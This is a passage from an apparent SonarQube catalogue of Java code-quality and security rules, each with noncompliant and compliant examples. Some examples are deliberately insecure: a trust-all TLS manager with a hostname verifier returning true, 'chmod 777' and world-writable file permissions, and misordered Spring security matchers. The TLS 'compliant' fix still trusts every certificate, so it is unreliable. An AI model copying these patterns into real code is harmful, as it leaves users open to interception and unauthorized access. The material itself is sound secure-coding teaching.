public class MyApplication {
...
}
@Configuration
@EnableAutoConfiguration
public class MyApplication {
...
}

Compliant Solution

@SpringBootApplication(exclude = {
  MultipartAutoConfiguration.class,
  JmxAutoConfiguration.class,
})
public class MyApplication {
...
}
@Configuration
@EnableAutoConfiguration(exclude = {
  MultipartAutoConfiguration.class,
  JmxAutoConfiguration.class,
})
public class MyApplication {
...
}
@Configuration
@Import({
        DispatcherServletAutoConfiguration.class,
        EmbeddedServletContainerAutoConfiguration.class,
        ErrorMvcAutoConfiguration.class,
        HttpEncodingAutoConfiguration.class,
        HttpMessageConvertersAutoConfiguration.class,
        JacksonAutoConfiguration.class,
        ServerPropertiesAutoConfiguration.class,
        PropertyPlaceholderAutoConfiguration.class,
        ThymeleafAutoConfiguration.class,
        WebMvcAutoConfiguration.class
})
public class MyApplication {
...
}
java:S2309

Files with no lines of code clutter a project and should be removed.

Noncompliant Code Example

//package org.foo;
//
//public class Bar {}
java:S1219

Even if it is legal, mixing case and non-case labels in the body of a switch statement is very confusing and can even be the result of a typing error.

Noncompliant Code Example

switch (day) {
  case MONDAY:
  case TUESDAY:
  WEDNESDAY:   // Noncompliant; syntactically correct, but behavior is not what's expected
    doSomething();
    break;
  ...
}

switch (day) {
  case MONDAY:
    break;
  case TUESDAY:
    foo:for(int i = 0 ; i < X ; i++) {  // Noncompliant; the code is correct and behaves as expected but is barely readable
         /* ... */
        break foo;  // this break statement doesn't relate to the nesting case TUESDAY
         /* ... */
    }
    break;
    /* ... */
}

Compliant Solution

switch (day) {
  case MONDAY:
  case TUESDAY:
  case WEDNESDAY:
    doSomething();
    break;
  ...
}

switch (day) {
  case MONDAY:
    break;
  case TUESDAY:
    compute(args); // put the content of the labelled "for" statement in a dedicated method
    break;

    /* ... */
}
java:S2308

Use of File.deleteOnExit() is not recommended for the following reasons:

  • The deletion occurs only in the case of a normal JVM shutdown but not when the JVM crashes or is killed.
  • For each file handler, the memory associated with the handler is released only at the end of the process.

Noncompliant Code Example

File file = new File("file.txt");
file.deleteOnExit();  // Noncompliant
java:S3518

If the denominator to a division or modulo operation is zero it would result in a fatal error.

When working with double or float, no fatal error will be raised, but it will lead to unusual result and should be avoided anyway.

This rule supports primitive int, long, double, float as well as BigDecimal and BigInteger.

Noncompliant Code Example

void test_divide() {
  int z = 0;
  if (unknown()) {
    // ..
    z = 3;
  } else {
    // ..
  }
  z = 1 / z; // Noncompliant, possible division by zero
}

Compliant Solution

void test_divide() {
  int z = 0;
  if (unknown()) {
    // ..
    z = 3;
  } else {
    // ..
    z = 1;
  }
  z = 1 / z;
}

See

  • MITRE, CWE-369 - Divide by zero
  • CERT, NUM02-J. - Ensure that division and remainder operations do not result in divide-by-zero errors
  • CERT, INT33-C. - Ensure that division and remainder operations do not result in divide-by-zero errors
java:S1450

When the value of a private field is always assigned to in a class' methods before being read, then it is not being used to store class information. Therefore, it should become a local variable in the relevant methods to prevent any misunderstanding.

Noncompliant Code Example

public class Foo {
  private int a;
  private int b;

  public void doSomething(int y) {
    a = y + 5;
    ...
    if(a == 0) {
      ...
    }
    ...
  }

  public void doSomethingElse(int y) {
    b = y + 3;
    ...
  }
}

Compliant Solution

public class Foo {

  public void doSomething(int y) {
    int a = y + 5;
    ...
    if(a == 0) {
      ...
    }
  }

  public void doSomethingElse(int y) {
    int b = y + 3;
    ...
  }
}

Exceptions

This rule doesn't raise any issue on annotated field.

java:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
java:S3751

A method with a @RequestMapping annotation part of a class annotated with @Controller (directly or indirectly through a meta annotation - @RestController from Spring Boot is a good example) will be called to handle matching web requests. That will happen even if the method is private, because Spring invokes such methods via reflection, without checking visibility.

So marking a sensitive method private may seem like a good way to control how such code is called. Unfortunately, not all Spring frameworks ignore visibility in this way. For instance, if you've tried to control web access to your sensitive, private, @RequestMapping method by marking it @Secured ... it will still be called, whether or not the user is authorized to access it. That's because AOP proxies are not applied to non-public methods.

In addition to @RequestMapping, this rule also considers the annotations introduced in Spring Framework 4.3: @GetMapping, @PostMapping, @PutMapping, @DeleteMapping, @PatchMapping.

Noncompliant Code Example

@RequestMapping("/greet", method = GET)
private String greet(String greetee) {  // Noncompliant

Compliant Solution

@RequestMapping("/greet", method = GET)
public String greet(String greetee) {

See

java:S1694

The purpose of an abstract class is to provide some heritable behaviors while also defining methods which must be implemented by sub-classes.

A class with no abstract methods that was made abstract purely to prevent instantiation should be converted to a concrete class (i.e. remove the abstract keyword) with a private constructor.

A class with only abstract methods and no inheritable behavior should be converted to an interface.

Noncompliant Code Example

public abstract class Animal {  // Noncompliant; should be an interface
  abstract void move();
  abstract void feed();
}

public abstract class Color {  // Noncompliant; should be concrete with a private constructor
  private int red = 0;
  private int green = 0;
  private int blue = 0;

  public int getRed() {
    return red;
  }
}

Compliant Solution

public interface Animal {
  void move();
  void feed();
}

public class Color {
  private int red = 0;
  private int green = 0;
  private int blue = 0;

  private Color () {}

  public int getRed() {
    return red;
  }
}

public abstract class Lamp {

  private boolean switchLamp=false;

  public abstract void glow();

  public void flipSwitch() {
    switchLamp = !switchLamp;
    if (switchLamp) {
      glow();
    }
  }
}
java:S1210

According to the Java Comparable.compareTo(T o) documentation:

It is strongly recommended, but not strictly required that (x.compareTo(y)==0) == (x.equals(y)).

Generally speaking, any class that implements the Comparable interface and violates this condition should clearly indicate this fact.

The recommended language is "Note: this class has a natural ordering that is inconsistent with equals."

If this rule is violated, weird and unpredictable failures can occur.

For example, in Java 5 the PriorityQueue.remove() method relied on compareTo(), but since Java 6 it has relied on equals().

Noncompliant Code Example

public class Foo implements Comparable<Foo> {
  @Override
  public int compareTo(Foo foo) { /* ... */ }      // Noncompliant as the equals(Object obj) method is not overridden
}

Compliant Solution

public class Foo implements Comparable<Foo> {
  @Override
  public int compareTo(Foo foo) { /* ... */ }      // Compliant

  @Override
  public boolean equals(Object obj) { /* ... */ }
}
java:S3750

Spring @Controllers, @Services, and @Repositorys have singleton scope by default, meaning only one instance of the class is ever instantiated in the application. Defining any other scope for one of these class types will result in needless churn as new instances are created and destroyed. In a busy web application, this could cause a significant amount of needless additional load on the server.

This rule raises an issue when the @Scope annotation is applied to a @Controller, @Service, or @Repository with any value but "singleton". @Scope("singleton") is redundant, but ignored.

Noncompliant Code Example

@Scope("prototype")  // Noncompliant
@Controller
public class HelloWorld {

Compliant Solution

@Controller
public class HelloWorld {
java:S1452

It is highly recommended not to use wildcard types as return types. Because the type inference rules are fairly complex it is unlikely the user of that API will know how to use it correctly.

Let's take the example of method returning a "List<? extends Animal>". Is it possible on this list to add a Dog, a Cat, ... we simply don't know. And neither does the compiler, which is why it will not allow such a direct use. The use of wildcard types should be limited to method parameters.

This rule raises an issue when a method returns a wildcard type.

Noncompliant Code Example

List<? extends Animal> getAnimals(){...}

Compliant Solution

List<Animal> getAnimals(){...}

or

List<Dog> getAnimals(){...}
java:S3753

A Spring @Controller that uses @SessionAttributes is designed to handle a stateful / multi-post form. Such @Controllers use the specified @SessionAttributes to store data on the server between requests. That data should be cleaned up when the session is over, but unless setComplete() is called on the SessionStatus object from a @RequestMapping method, neither Spring nor the JVM will know it's time to do that. Note that the SessionStatus object must be passed to that method as a parameter.

Noncompliant Code Example

@Controller
@SessionAttributes("hello")  // Noncompliant; this doesn't get cleaned up
public class HelloWorld {

  @RequestMapping("/greet", method = GET)
  public String greet(String greetee) {

    return "Hello " + greetee;
  }
}

Compliant Solution

@Controller
@SessionAttributes("hello")
public class HelloWorld {

  @RequestMapping("/greet", method = GET)
  public String greet(String greetee) {

    return "Hello " + greetee;
  }

  @RequestMapping("/goodbye", method = POST)
  public String goodbye(SessionStatus status) {
    //...
    status.setComplete();
  }

}
java:S1695

A NullPointerException should indicate that a null value was unexpectedly encountered. Good programming practice dictates that code is structured to avoid NPE's.

Explicitly throwing NullPointerException forces a method's callers to explicitly catch it, rather than coding to avoid it. Further, it makes it difficult to distinguish between the unexpectedly-encountered null value and the condition which causes the method to purposely throw an NPE.

If an NPE is being thrown to indicate that a parameter to the method should not have been null, use the @NotNull annotation instead.

Noncompliant Code Example

public void doSomething (String aString) throws NullPointerException {
     throw new NullPointerException();
}

Compliant Solution

public void doSomething (@NotNull String aString) {
}
java:S2301

A selector argument is a boolean argument that's used to determine which of two paths to take through a method. Specifying such a parameter may seem innocuous, particularly if it's well named.

Unfortunately, the maintainers of the code calling the method won't see the parameter name, only its value. They'll be forced either to guess at the meaning or to take extra time to look the method up.

Instead, separate methods should be written.

This rule finds methods with a boolean that's used to determine which path to take through the method.

Noncompliant Code Example

public String tempt(String name, boolean ofAge) {
  if (ofAge) {
    offerLiquor(name);
  } else {
    offerCandy(name);
  }
}

// ...
public void corrupt() {
  tempt("Joe", false); // does this mean not to temp Joe?
}

Compliant Solution

public void temptAdult(String name) {
  offerLiquor(name);
}

public void temptChild(String name) {
    offerCandy(name);
}

// ...
public void corrupt() {
  age < legalAge ? temptChild("Joe") : temptAdult("Joe");
}
java:S4601

URL patterns configured on a HttpSecurity.authorizeRequests() method are considered in the order they were declared. It's easy to do a mistake and to declare a less restrictive configuration before a more restrictive one. Therefore, it's required to review the order of the "antMatchers" declarations. The /** one should be the last one if it is declared.

This rule raises an issue when:

- A pattern is preceded by another that ends with ** and has the same beginning. E.g.: /page*-admin/db/** is after /page*-admin/**

- A pattern without wildcard characters is preceded by another that matches. E.g.: /page-index/db is after /page*/**

Noncompliant Code Example

  protected void configure(HttpSecurity http) throws Exception {
    http.authorizeRequests()
      .antMatchers("/resources/**", "/signup", "/about").permitAll() // Compliant
      .antMatchers("/admin/**").hasRole("ADMIN")
      .antMatchers("/admin/login").permitAll() // Noncompliant; the pattern "/admin/login" should occurs before "/admin/**"
      .antMatchers("/**", "/home").permitAll()
      .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')") // Noncompliant; the pattern "/db/**" should occurs before "/**"
      .and().formLogin().loginPage("/login").permitAll().and().logout().permitAll();
  }

Compliant Solution

  protected void configure(HttpSecurity http) throws Exception {
    http.authorizeRequests()
      .antMatchers("/resources/**", "/signup", "/about").permitAll() // Compliant
      .antMatchers("/admin/login").permitAll()
      .antMatchers("/admin/**").hasRole("ADMIN") // Compliant
      .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")
      .antMatchers("/**", "/home").permitAll() // Compliant; "/**" is the last one
      .and().formLogin().loginPage("/login").permitAll().and().logout().permitAll();
  }

See

java:S3631

For arrays of objects, Arrays.asList(T ... a).stream() and Arrays.stream(array) are basically equivalent in terms of performance. However, for arrays of primitives, using Arrays.asList will force the construction of a list of boxed types, and then use that list as a stream. On the other hand, Arrays.stream uses the appropriate primitive stream type (IntStream, LongStream, DoubleStream) when applicable, with much better performance.

Noncompliant Code Example

Arrays.asList("a1", "a2", "b1", "c2", "c1").stream()
    .filter(...)
    .forEach(...);

Arrays.asList(1, 2, 3, 4).stream() // Noncompliant
    .filter(...)
    .forEach(...);

Compliant Solution

Arrays.asList("a1", "a2", "b1", "c2", "c1").stream()
    .filter(...)
    .forEach(...);

int[] intArray = new int[]{1, 2, 3, 4};
Arrays.stream(intArray)
    .filter(...)
    .forEach(...);
java:S1696

NullPointerException should be avoided, not caught. Any situation in which NullPointerException is explicitly caught can easily be converted to a null test, and any behavior being carried out in the catch block can easily be moved to the "is null" branch of the conditional.

Noncompliant Code Example

public int lengthPlus(String str) {
  int len = 2;
  try {
    len += str.length();
  }
  catch (NullPointerException e) {
    log.info("argument was null");
  }
  return len;
}

Compliant Solution

public int lengthPlus(String str) {
  int len = 2;

  if (str != null) {
    len += str.length();
  }
  else {
    log.info("argument was null");
  }
  return len;
}

See

  • MITRE, CWE-395 - Use of NullPointerException Catch to Detect NULL Pointer Dereference
  • CERT, ERR08-J. - Do not catch NullPointerException or any of its ancestors
java:S3510

To prevent URL spoofing, HostnameVerifier.verify() methods should do more than simply return true. Doing so may get you quickly past an exception, but that comes at the cost of opening a security hole in your application.

Noncompliant Code Example

SSLContext sslcontext = SSLContext.getInstance( "TLS" );
sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
  public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }

}}, new java.security.SecureRandom());

Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
  @Override
  public boolean verify(String requestedHost, SSLSession remoteServerSession) {
    return true;  // Noncompliant
  }
}).build();

Compliant Solution

SSLContext sslcontext = SSLContext.getInstance( "TLSv1.2" );
sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
  @Override
  public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  @Override
  public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  @Override
  public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }

}}, new java.security.SecureRandom());

Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
  @Override
  public boolean verify(String requestedHost, SSLSession remoteServerSession) {
    return requestedHost.equalsIgnoreCase(remoteServerSession.getPeerHost()); // Compliant
  }
}).build();

See

Deprecated

This rule is deprecated; use S5527 instead.

java:S3752

An HTTP method is safe when used to perform a read-only operation, such as retrieving information. In contrast, an unsafe HTTP method is used to change the state of an application, for instance to update a user's profile on a web application.

Common safe HTTP methods are GET, HEAD, or OPTIONS.

Common unsafe HTTP methods are POST, PUT and DELETE.

Allowing both safe and unsafe HTTP methods to perform a specific operation on a web application could impact its security, for example CSRF protections are most of the time only protecting operations performed by unsafe HTTP methods.

Ask Yourself Whether

  • HTTP methods are not defined at all for a route/controller of the application.
  • Safe HTTP methods are defined and used for a route/controller that can change the state of an application.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

For all the routes/controllers of an application, the authorized HTTP methods should be explicitly defined and safe HTTP methods should only be used to perform read-only operations.

Sensitive Code Example

@RequestMapping("/delete_user")  // Sensitive: by default all HTTP methods are allowed
public String delete1(String username) {
// state of the application will be changed here
}

@RequestMapping(path = "/delete_user", method = {RequestMethod.GET, RequestMethod.POST}) // Sensitive: both safe and unsafe methods are allowed
String delete2(@RequestParam("id") String id) {
// state of the application will be changed here
}

Compliant Solution

@RequestMapping("/delete_user", method = RequestMethod.POST)  // Compliant
public String delete1(String username) {
// state of the application will be changed here
}

@RequestMapping(path = "/delete_user", method = RequestMethod.POST) // Compliant
String delete2(@RequestParam("id") String id) {
// state of the application will be changed here
}

See

java:S4602

@ComponentScan is used to determine which Spring Beans are available in the application context. The packages to scan can be configured thanks to the basePackageClasses or basePackages (or its alias value) parameters. If neither parameter is configured, @ComponentScan will consider only the package of the class annotated with it. When @ComponentScan is used on a class belonging to the default package, the entire classpath will be scanned.

This will slow-down the start-up of the application and it is likely the application will fail to start with an BeanDefinitionStoreException because you ended up scanning the Spring Framework package itself.

This rule raises an issue when:

- @ComponentScan, @SpringBootApplication and @ServletComponentScan are used on a class belonging to the default package

- @ComponentScan is explicitly configured with the default package

Noncompliant Code Example

import org.springframework.boot.SpringApplication;

@SpringBootApplication // Noncompliant; RootBootApp is declared in the default package
public class RootBootApp {
...
}
@ComponentScan("")
public class Application {
...
}

Compliant Solution

package hello;

import org.springframework.boot.SpringApplication;

@SpringBootApplication // Compliant; RootBootApp belongs to the "hello" package
public class RootBootApp {
...
}
java:S1213

According to the Java Code Conventions as defined by Oracle, the members of a class or interface declaration should appear in the following order in the source files:

  • Class and instance variables
  • Constructors
  • Methods

Noncompliant Code Example

public class Foo{
   private int field = 0;
   public boolean isTrue() {...}
   public Foo() {...}                         // Noncompliant, constructor defined after methods
   public static final int OPEN = 4;  //Noncompliant, variable defined after constructors and methods
}

Compliant Solution

public class Foo{
   public static final int OPEN = 4;
   private int field = 0;
   public Foo() {...}
   public boolean isTrue() {...}
}
java:S1697

When either the equality operator in a null test or the logical operator that follows it is reversed, the code has the appearance of safely null-testing the object before dereferencing it. Unfortunately the effect is just the opposite - the object is null-tested and then dereferenced only if it is null, leading to a guaranteed null pointer dereference.

Noncompliant Code Example

if (str == null && str.length() == 0) {
  System.out.println("String is empty");
}

if (str != null || str.length() > 0) {
  System.out.println("String is not empty");
}

Compliant Solution

if (str == null || str.length() == 0) {
  System.out.println("String is empty");
}

if (str != null && str.length() > 0) {
  System.out.println("String is not empty");
}

Deprecated

This rule is deprecated; use S2259 instead.

java:S1698

It is equivalent to use the equality == operator and the equals method to compare two objects if the equals method inherited from Object has not been overridden. In this case both checks compare the object references.

But as soon as equals is overridden, two objects not having the same reference but having the same value can be equal. This rule spots suspicious uses of == and != operators on objects whose equals methods are overridden.

Noncompliant Code Example

String firstName = getFirstName(); // String overrides equals
String lastName = getLastName();

if (firstName == lastName) { ... }; // Non-compliant; false even if the strings have the same value

Compliant Solution

String firstName = getFirstName();
String lastName = getLastName();

if (firstName != null && firstName.equals(lastName)) { ... };

Exceptions

Comparing two instances of the Class object will not raise an issue:

Class c;
if(c == Integer.class) { // No issue raised
}

Comparing Enum will not raise an issue:

public enum Fruit {
   APPLE, BANANA, GRAPE
}
public boolean isFruitGrape(Fruit candidateFruit) {
  return candidateFruit == Fruit.GRAPE; // it's recommended to activate S4551 to enforce comparison of Enums using ==
}

Comparing with final reference will not raise an issue:

private static final Type DEFAULT = new Type();

void foo(Type other) {
  if (other == DEFAULT) { // Compliant
  //...
  }
}

Comparing with this will not raise an issue:

  public boolean equals(Object other) {
    if (this == other) {  // Compliant
      return false;
    }
 }

Comparing with java.lang.String and boxed types java.lang.Integer, ... will not raise an issue.

See

  • S4973 - Strings and Boxed types should be compared using "equals()"
  • MITRE, CWE-595 - Comparison of Object References Instead of Object Contents
  • MITRE, CWE-597 - Use of Wrong Operator in String Comparison
  • CERT, EXP03-J. - Do not use the equality operators when comparing values of boxed primitives
  • CERT, EXP50-J. - Do not confuse abstract object equality with reference equality
java:S1214

According to Joshua Bloch, author of "Effective Java":

The constant interface pattern is a poor use of interfaces.

That a class uses some constants internally is an implementation detail.

Implementing a constant interface causes this implementation detail to leak into the class's exported API. It is of no consequence to the users of a class that the class implements a constant interface. In fact, it may even confuse them. Worse, it represents a commitment: if in a future release the class is modified so that it no longer needs to use the constants, it still must implement the interface to ensure binary compatibility. If a nonfinal class implements a constant interface,

all of its subclasses will have their namespaces polluted by the constants in the interface.

This rule raises an issue when an interface consists solely of fields, without any other members.

Noncompliant Code Example

interface Status {                      // Noncompliant
   int OPEN = 1;
   int CLOSED = 2;
}

Compliant Solution

public enum Status {                    // Compliant
  OPEN,
  CLOSED;
}

or

public final class Status {             // Compliant
   public static final int OPEN = 1;
   public static final int CLOSED = 2;
}
java:S2786

According to the docs:

Nested enum types are implicitly static.

So there's no need to declare them static explicitly.

Noncompliant Code Example

public class Flower {
  static enum Color { // Noncompliant; static is redundant here
    RED, YELLOW, BLUE, ORANGE
  }

  // ...
}

Compliant Solution

public class Flower {
  enum Color { // Compliant
    RED, YELLOW, BLUE, ORANGE
  }

  // ...
}
java:S5810

JUnit5 is more tolerant regarding the visibilities of Test classes and methods than JUnit4, which required everything to be public. JUnit5 supports default package, public and protected visibility, even if it is recommended to use the default package visibility, which improves the readability of code.

But JUnit5 ignores without any warning:

  • private classes and private methods
  • static methods
  • methods returning a value without being a TestFactory

Noncompliant Code Example

import org.junit.jupiter.api.Test;

class MyClassTest {
  @Test
  private void test1() { // Noncompliant - ignored by JUnit5
    // ...
  }
  @Test
  static void test2() { // Noncompliant - ignored by JUnit5
    // ...
  }
  @Test
  boolean test3() { // Noncompliant - ignored by JUnit5
    // ...
  }
  @Nested
  private class MyNestedClass { // Noncompliant - ignored by JUnit5
    @Test
    void test() {
      // ...
    }
  }
}

Compliant Solution

import org.junit.jupiter.api.Test;

class MyClassTest {
  @Test
  void test1() {
    // ...
  }
  @Test
  void test2() {
    // ...
  }
  @Test
  void test3() {
    // ...
  }
  @Nested
  class MyNestedClass {
    @Test
    void test() {
      // ...
    }
  }
}
java:S2976

Using File.createTempFile as the first step in creating a temporary directory causes a race condition and is inherently unreliable and insecure. Instead, Files.createTempDirectory (Java 7+) or a library function such as Guava's similarly-named Files.createTempDir should be used.

This rule raises an issue when the following steps are taken in immediate sequence:

  • call to File.createTempFile
  • delete resulting file
  • call mkdir on the File object

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

Noncompliant Code Example

File tempDir;
tempDir = File.createTempFile("", ".");
tempDir.delete();
tempDir.mkdir();  // Noncompliant

Compliant Solution

Path tempPath = Files.createTempDirectory("");
File tempDir = tempPath.toFile();

See

java:S2975

Many consider clone and Cloneable broken in Java, largely because the rules for overriding clone are tricky and difficult to get right, according to Joshua Bloch:

Object's clone method is very tricky. It's based on field copies, and it's "extra-linguistic." It creates an object without calling a constructor. There are no guarantees that it preserves the invariants established by the constructors. There have been lots of bugs over the years, both in and outside Sun, stemming from the fact that if you just call super.clone repeatedly up the chain until you have cloned an object, you have a shallow copy of the object. The clone generally shares state with the object being cloned. If that state is mutable, you don't have two independent objects. If you modify one, the other changes as well. And all of a sudden, you get random behavior.

A copy constructor or copy factory should be used instead.

This rule raises an issue when clone is overridden, whether or not Cloneable is implemented.

Noncompliant Code Example

public class MyClass {
  // ...

  public Object clone() { // Noncompliant
    //...
  }
}

Compliant Solution

public class MyClass {
  // ...

  MyClass (MyClass source) {
    //...
  }
}

See

See Also

  • S2157 - "Cloneables" should implement "clone"
  • S1182 - Classes that override "clone" should be "Cloneable" and call "super.clone()"
java:S2612

In Unix, "others" class refers to all users except the owner of the file and the members of the group assigned to this file.

Granting permissions to this group can lead to unintended access to files.

Ask Yourself Whether

  • The application is designed to be run on a multi-user environment.
  • Corresponding files and directories may contain confidential information.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

The most restrictive possible permissions should be assigned to files and directories.

Sensitive Code Example

    public void setPermissions(String filePath) {
        Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
        // user permission
        perms.add(PosixFilePermission.OWNER_READ);
        perms.add(PosixFilePermission.OWNER_WRITE);
        perms.add(PosixFilePermission.OWNER_EXECUTE);
        // group permissions
        perms.add(PosixFilePermission.GROUP_READ);
        perms.add(PosixFilePermission.GROUP_EXECUTE);
        // others permissions
        perms.add(PosixFilePermission.OTHERS_READ); // Sensitive
        perms.add(PosixFilePermission.OTHERS_WRITE); // Sensitive
        perms.add(PosixFilePermission.OTHERS_EXECUTE); // Sensitive

        Files.setPosixFilePermissions(Paths.get(filePath), perms);
    }
    public void setPermissionsUsingRuntimeExec(String filePath) {
        Runtime.getRuntime().exec("chmod 777 file.json"); // Sensitive
    }
    public void setOthersPermissionsHardCoded(String filePath ) {
        Files.setPosixFilePermissions(Paths.get(filePath), PosixFilePermissions.fromString("rwxrwxrwx")); // Sensitive
    }

Compliant Solution

On operating systems that implement POSIX standard. This will throw a UnsupportedOperationException on Windows.

    public void setPermissionsSafe(String filePath) throws IOException {
        Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
        // user permission
        perms.add(PosixFilePermission.OWNER_READ);
        perms.add(PosixFilePermission.OWNER_WRITE);
        perms.add(PosixFilePermission.OWNER_EXECUTE);
        // group permissions
        perms.add(PosixFilePermission.GROUP_READ);
        perms.add(PosixFilePermission.GROUP_EXECUTE);
        // others permissions removed
        perms.remove(PosixFilePermission.OTHERS_READ); // Compliant
        perms.remove(PosixFilePermission.OTHERS_WRITE); // Compliant
        perms.remove(PosixFilePermission.OTHERS_EXECUTE); // Compliant

        Files.setPosixFilePermissions(Paths.get(filePath), perms);
    }

See

java:S3822

The use of any value but "validate" for hibernate.hbm2ddl.auto may cause the database schema used by your application to be changed, dropped, or cleaned of all data. In short, the use of this property is risky, and should only be used in production with the "validate" option, if it is used at all.

Noncompliant Code Example

<session-factory>
  <property name="hibernate.hbm2ddl.auto">update</property>  <!-- Noncompliant -->
</session-factory>

Compliant Solution

<session-factory>
  <property name="hibernate.hbm2ddl.auto">validate</property>  <!-- Compliant -->
</session-factory>

or

<session-factory>
  <!-- Property deleted -->
</session-factory>
java:S3824

It's a common pattern to test the result of a java.util.Map.get() against null before proceeding with adding or changing the value in the map. However the java.util.Map API offers a significantly better alternative in the form of the computeIfPresent() and computeIfAbsent() methods. Using these instead leads to cleaner and more readable code.

Note that this rule is automatically disabled when the project's sonar.java.source is not 8.

Noncompliant Code Example

V value = map.get(key);
if (value == null) {  // Noncompliant
  value = V.createFor(key);
  if (value != null) {
    map.put(key, value);
  }
}
return value;

Compliant Solution

return map.computeIfAbsent(key, k -> V.createFor(k));
java:S2737

A catch clause that only rethrows the caught exception has the same effect as omitting the catch altogether and letting it bubble up automatically, but with more code and the additional detriment of leaving maintainers scratching their heads.

Such clauses should either be eliminated or populated with the appropriate logic.

Noncompliant Code Example

public String readFile(File f) {
  StringBuilder sb = new StringBuilder();
  try {
    FileReader fileReader = new FileReader(fileName);
    BufferedReader bufferedReader = new BufferedReader(fileReader);

    while((line = bufferedReader.readLine()) != null) {
      //...
  }
  catch (IOException e) {  // Noncompliant
    throw e;
  }
  return sb.toString();
}

Compliant Solution

public String readFile(File f) {
  StringBuilder sb = new StringBuilder();
  try {
    FileReader fileReader = new FileReader(fileName);
    BufferedReader bufferedReader = new BufferedReader(fileReader);

    while((line = bufferedReader.readLine()) != null) {
      //...
  }
  catch (IOException e) {
    logger.LogError(e);
    throw e;
  }
  return sb.toString();
}

or

public String readFile(File f) throws IOException {
  StringBuilder sb = new StringBuilder();
  FileReader fileReader = new FileReader(fileName);
  BufferedReader bufferedReader = new BufferedReader(fileReader);

  while((line = bufferedReader.readLine()) != null) {
    //...

  return sb.toString();
}
java:S2970

It is very easy to write incomplete assertions when using some test frameworks. This rule enforces complete assertions in the following cases:

  • Fest: assertThat is not followed by an assertion invocation
  • AssertJ: assertThat is not followed by an assertion invocation
  • Mockito: verify is not followed by a method invocation
  • Truth: assertXXX is not followed by an assertion invocation

In such cases, what is intended to be a test doesn't actually verify anything

Noncompliant Code Example

// Fest
boolean result = performAction();
// let's now check that result value is true
assertThat(result); // Noncompliant; nothing is actually checked, the test passes whether "result" is true or false

// Mockito
List mockedList = Mockito.mock(List.class);
mockedList.add("one");
mockedList.clear();
// let's check that "add" and "clear" methods are actually called
Mockito.verify(mockedList); // Noncompliant; nothing is checked here, oups no call is chained to verify()

Compliant Solution

// Fest
boolean result = performAction();
// let's now check that result value is true
assertThat(result).isTrue();

// Mockito
List mockedList = Mockito.mock(List.class);
mockedList.add("one");
mockedList.clear();
// let's check that "add" and "clear" methods are actually called
Mockito.verify(mockedList).add("one");
Mockito.verify(mockedList).clear();

Exceptions

Variable assignments and return statements are skipped to allow helper methods.

private BooleanAssert check(String filename, String key) {
  String fileContent = readFileContent(filename);
  performReplacements(fileContent);
  return assertThat(fileContent.contains(key)); // No issue is raised here
}

@Test
public void test() {
  check("foo.txt", "key1").isTrue();
  check("bar.txt", "key2").isTrue();
}
java:S1640

When all the keys of a Map are values from the same enum, the Map can be replaced with an EnumMap, which can be much more efficient than other sets because the underlying data structure is a simple array.

Noncompliant Code Example

public class MyClass {

  public enum COLOR {
    RED, GREEN, BLUE, ORANGE;
  }

  public void mapMood() {
    Map<COLOR, String> moodMap = new HashMap<COLOR, String> ();
  }
}

Compliant Solution

public class MyClass {

  public enum COLOR {
    RED, GREEN, BLUE, ORANGE;
  }

  public void mapMood() {
    EnumMap<COLOR, String> moodMap = new EnumMap<> (COLOR.class);
  }
}
java:S2972

Inner classes should be short and sweet, to manage complexity in the overall file. An inner class that has grown longer than a certain threshold should probably be externalized to its own file.

java:S1641

When all the elements in a Set are values from the same enum, the Set can be replaced with an EnumSet, which can be much more efficient than other sets because the underlying data structure is a simple bitmap.

Noncompliant Code Example

public class MyClass {

  public enum COLOR {
    RED, GREEN, BLUE, ORANGE;
  }

  public void doSomething() {
    Set<COLOR> warm = new HashSet<COLOR>();
    warm.add(COLOR.RED);
    warm.add(COLOR.ORANGE);
  }
}

Compliant Solution

public class MyClass {

  public enum COLOR {
    RED, GREEN, BLUE, ORANGE;
  }

  public void doSomething() {
    Set<COLOR> warm = EnumSet.of(COLOR.RED, COLOR.ORANGE);
  }
}
java:S2974

Classes with only private constructors should be marked final to prevent any mistaken extension attempts.

Noncompliant Code Example

public class PrivateConstructorClass {  // Noncompliant
  private PrivateConstructorClass() {
    // ...
  }

  public static int magic(){
    return 42;
  }
}

Compliant Solution

public final class PrivateConstructorClass {  // Compliant
  private PrivateConstructorClass() {
    // ...
  }

  public static int magic(){
    return 42;
  }
}
java:S2973

The use of Unicode escape sequences should be reserved for characters that would otherwise be ambiguous, such as unprintable characters.

This rule ignores sequences composed entirely of Unicode characters, but otherwise raises an issue for each Unicode character that represents a printable character.

Noncompliant Code Example

String prefix = "n\u00E9e"; // Noncompliant

Compliant Solution

String prefix = "née";
java:S1764

